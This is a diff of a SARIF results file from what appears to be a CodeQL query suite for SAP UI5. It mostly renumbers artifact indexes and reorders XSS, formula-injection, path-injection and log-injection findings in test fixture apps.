@@ -17813,7 +18155,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 273
+            "index" : 276
           },
           "region" : {
             "startLine" : 8,
@@ -17834,7 +18176,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 273
+                  "index" : 276
                 },
                 "region" : {
                   "startLine" : 5,
@@ -17853,7 +18195,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 268
+                  "index" : 271
                 },
                 "region" : {
                   "startLine" : 8,
@@ -17871,7 +18213,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 273
+                  "index" : 276
                 },
                 "region" : {
                   "startLine" : 8,
@@ -17892,7 +18234,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 273
+            "index" : 276
           },
           "region" : {
             "startLine" : 5,
@@ -17922,7 +18264,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 281
+            "index" : 284
           },
           "region" : {
             "startLine" : 8,
@@ -17943,7 +18285,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 281
+                  "index" : 284
                 },
                 "region" : {
                   "startLine" : 5,
@@ -17961,7 +18303,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 277
+                  "index" : 280
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17979,7 +18321,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 281
+                  "index" : 284
                 },
                 "region" : {
                   "startLine" : 8,
@@ -18000,7 +18342,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 281
+            "index" : 284
           },
           "region" : {
             "startLine" : 5,
@@ -18029,7 +18371,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 335
+            "index" : 339
           },
           "region" : {
             "startLine" : 22,
@@ -18050,7 +18392,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 335
+                  "index" : 339
                 },
                 "region" : {
                   "startLine" : 8,
@@ -18069,7 +18411,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 332
+                  "index" : 335
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18087,7 +18429,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 335
+                  "index" : 339
                 },
                 "region" : {
                   "startLine" : 22,
@@ -18109,7 +18451,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 335
+                  "index" : 339
                 },
                 "region" : {
                   "startLine" : 15,
@@ -18128,7 +18470,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 332
+                  "index" : 335
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18146,7 +18488,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 335
+                  "index" : 339
                 },
                 "region" : {
                   "startLine" : 22,
@@ -18167,7 +18509,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 335
+            "index" : 339
           },
           "region" : {
             "startLine" : 8,
@@ -18185,7 +18527,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 335
+            "index" : 339
           },
           "region" : {
             "startLine" : 15,
@@ -18199,34 +18541,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-xss",
+      "ruleId" : "js/ui5-formula-injection",
       "rule" : {
-        "id" : "js/ui5-xss",
-        "index" : 0,
+        "id" : "js/ui5-formula-injection",
+        "index" : 1,
         "toolComponent" : {
           "index" : 1
         }
       },
       "message" : {
-        "text" : "XSS vulnerability due to [user-provided value](1)."
+        "text" : "The content of a saved file depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 308
+            "index" : 90
           },
           "region" : {
-            "startLine" : 13,
-            "startColumn" : 15,
-            "endColumn" : 25
+            "startLine" : 17,
+            "startColumn" : 27,
+            "endColumn" : 45
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "c18df3aa119b40dc:1",
-        "primaryLocationStartColumnFingerprint" : "11"
+        "primaryLocationLineHash" : "41899ff1a967017d:1",
+        "primaryLocationStartColumnFingerprint" : "10"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -18234,27 +18576,28 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 308
+                  "index" : 94
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 13,
-                  "endColumn" : 23
+                  "startLine" : 5,
+                  "startColumn" : 5,
+                  "endLine" : 7,
+                  "endColumn" : 29
                 }
               },
               "message" : {
-                "text" : "\"value\": \"{/input}\""
+                "text" : "value={/input}"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 304
+                  "index" : 91
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18270,18 +18613,36 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 308
+                  "index" : 90
                 },
                 "region" : {
-                  "startLine" : 13,
-                  "startColumn" : 15,
-                  "endColumn" : 25
+                  "startLine" : 8,
+                  "startColumn" : 23,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "\"content\": \"{/input}\""
+                "text" : "{ type: \"int\" }"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 90
+                },
+                "region" : {
+                  "startLine" : 17,
+                  "startColumn" : 27,
+                  "endColumn" : 45
+                }
+              },
+              "message" : {
+                "text" : "oControl.getText()"
               }
             }
           } ]
@@ -18291,14 +18652,15 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 308
+            "index" : 94
           },
           "region" : {
-            "startLine" : 9,
-            "startColumn" : 13,
-            "endColumn" : 23
+            "startLine" : 5,
+            "startColumn" : 5,
+            "endLine" : 7,
+            "endColumn" : 29
           }
         },
         "message" : {
@@ -18320,19 +18682,19 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 86
+            "index" : 99
           },
           "region" : {
-            "startLine" : 17,
+            "startLine" : 23,
             "startColumn" : 27,
-            "endColumn" : 45
+            "endColumn" : 39
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "41899ff1a967017d:1",
+        "primaryLocationLineHash" : "9afa5fd07ee36af6:1",
         "primaryLocationStartColumnFingerprint" : "10"
       },
       "codeFlows" : [ {
@@ -18341,9 +18703,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 95
+                  "index" : 106
                 },
                 "region" : {
                   "startLine" : 5,
@@ -18360,9 +18722,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 90
+                  "index" : 100
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18378,136 +18740,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 86
-                },
-                "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 23,
-                  "endColumn" : 38
-                }
-              },
-              "message" : {
-                "text" : "{ type: \"int\" }"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 86
-                },
-                "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 27,
-                  "endColumn" : 45
-                }
-              },
-              "message" : {
-                "text" : "oControl.getText()"
-              }
-            }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 95
-          },
-          "region" : {
-            "startLine" : 5,
-            "startColumn" : 5,
-            "endLine" : 7,
-            "endColumn" : 29
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/ui5-formula-injection",
-      "rule" : {
-        "id" : "js/ui5-formula-injection",
-        "index" : 1,
-        "toolComponent" : {
-          "index" : 1
-        }
-      },
-      "message" : {
-        "text" : "The content of a saved file depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 97
-          },
-          "region" : {
-            "startLine" : 23,
-            "startColumn" : 27,
-            "endColumn" : 39
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "9afa5fd07ee36af6:1",
-        "primaryLocationStartColumnFingerprint" : "10"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 100
-                },
-                "region" : {
-                  "startLine" : 5,
-                  "startColumn" : 5,
-                  "endLine" : 7,
-                  "endColumn" : 29
-                }
-              },
-              "message" : {
-                "text" : "value={/input}"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 96
-                },
-                "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 17,
-                  "endColumn" : 28
-                }
-              },
-              "message" : {
-                "text" : "input: null"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 97
+                  "index" : 99
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18525,7 +18760,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 97
+                  "index" : 99
                 },
                 "region" : {
                   "startLine" : 15,
@@ -18543,7 +18778,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 97
+                  "index" : 99
                 },
                 "region" : {
                   "startLine" : 15,
@@ -18561,7 +18796,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 97
+                  "index" : 99
                 },
                 "region" : {
                   "startLine" : 17,
@@ -18579,7 +18814,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 97
+                  "index" : 99
                 },
                 "region" : {
                   "startLine" : 17,
@@ -18597,7 +18832,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 97
+                  "index" : 99
                 },
                 "region" : {
                   "startLine" : 17,
@@ -18615,7 +18850,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 97
+                  "index" : 99
                 },
                 "region" : {
                   "startLine" : 17,
@@ -18633,7 +18868,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 97
+                  "index" : 99
                 },
                 "region" : {
                   "startLine" : 23,
@@ -18654,7 +18889,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 100
+            "index" : 106
           },
           "region" : {
             "startLine" : 5,
@@ -18684,7 +18919,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 105
+            "index" : 108
           },
           "region" : {
             "startLine" : 16,
@@ -18705,7 +18940,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 108
+                  "index" : 111
                 },
                 "region" : {
                   "startLine" : 5,
@@ -18724,7 +18959,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 105
+                  "index" : 108
                 },
                 "region" : {
                   "startLine" : 10,
@@ -18742,7 +18977,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 105
+                  "index" : 108
                 },
                 "region" : {
                   "startLine" : 16,
@@ -18763,7 +18998,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 108
+            "index" : 111
           },
           "region" : {
             "startLine" : 5,
@@ -18793,7 +19028,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 139
+            "index" : 142
           },
           "region" : {
             "startLine" : 17,
@@ -18814,7 +19049,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 143
+                  "index" : 147
                 },
                 "region" : {
                   "startLine" : 5,
@@ -18833,7 +19068,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 140
+                  "index" : 143
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18851,7 +19086,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 139
+                  "index" : 142
                 },
                 "region" : {
                   "startLine" : 8,
@@ -18869,7 +19104,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 139
+                  "index" : 142
                 },
                 "region" : {
                   "startLine" : 17,
@@ -18890,7 +19125,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 143
+            "index" : 147
           },
           "region" : {
             "startLine" : 5,
@@ -18920,7 +19155,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 148
+            "index" : 151
           },
           "region" : {
             "startLine" : 23,
@@ -18941,7 +19176,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 153
+                  "index" : 156
                 },
                 "region" : {
                   "startLine" : 5,
@@ -18960,7 +19195,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 149
+                  "index" : 152
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18978,7 +19213,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 148
+                  "index" : 151
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18996,7 +19231,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 148
+                  "index" : 151
                 },
                 "region" : {
                   "startLine" : 15,
@@ -19014,7 +19249,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 148
+                  "index" : 151
                 },
                 "region" : {
                   "startLine" : 15,
@@ -19032,7 +19267,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 148
+                  "index" : 151
                 },
                 "region" : {
                   "startLine" : 17,
@@ -19050,7 +19285,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 148
+                  "index" : 151
                 },
                 "region" : {
                   "startLine" : 17,
@@ -19068,7 +19303,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 148
+                  "index" : 151
                 },
                 "region" : {
                   "startLine" : 17,
@@ -19086,7 +19321,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 148
+                  "index" : 151
                 },
                 "region" : {
                   "startLine" : 17,
@@ -19104,7 +19339,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 148
+                  "index" : 151
                 },
                 "region" : {
                   "startLine" : 23,
@@ -19125,7 +19360,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 153
+            "index" : 156
           },
           "region" : {
             "startLine" : 5,
@@ -19155,7 +19390,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 156
+            "index" : 160
           },
           "region" : {
             "startLine" : 16,
@@ -19176,7 +19411,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 161
+                  "index" : 164
                 },
                 "region" : {
                   "startLine" : 5,
@@ -19195,7 +19430,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 156
+                  "index" : 160
                 },
                 "region" : {
                   "startLine" : 10,
@@ -19213,7 +19448,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 156
+                  "index" : 160
                 },
                 "region" : {
                   "startLine" : 16,
@@ -19234,7 +19469,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 161
+            "index" : 164
           },
           "region" : {
             "startLine" : 5,
@@ -19264,7 +19499,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 3
           },
           "region" : {
             "startLine" : 8,
@@ -19285,7 +19520,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 6,
@@ -19303,7 +19538,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 6,
@@ -19321,7 +19556,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19342,7 +19577,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 3
           },
           "region" : {
             "startLine" : 6,
@@ -19371,7 +19606,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 3
           },
           "region" : {
             "startLine" : 16,
@@ -19392,7 +19627,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 13,
@@ -19410,7 +19645,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 13,
@@ -19428,7 +19663,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 13,
@@ -19446,7 +19681,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 14,
@@ -19464,7 +19699,7 @@
                 "artifactLocation" : {
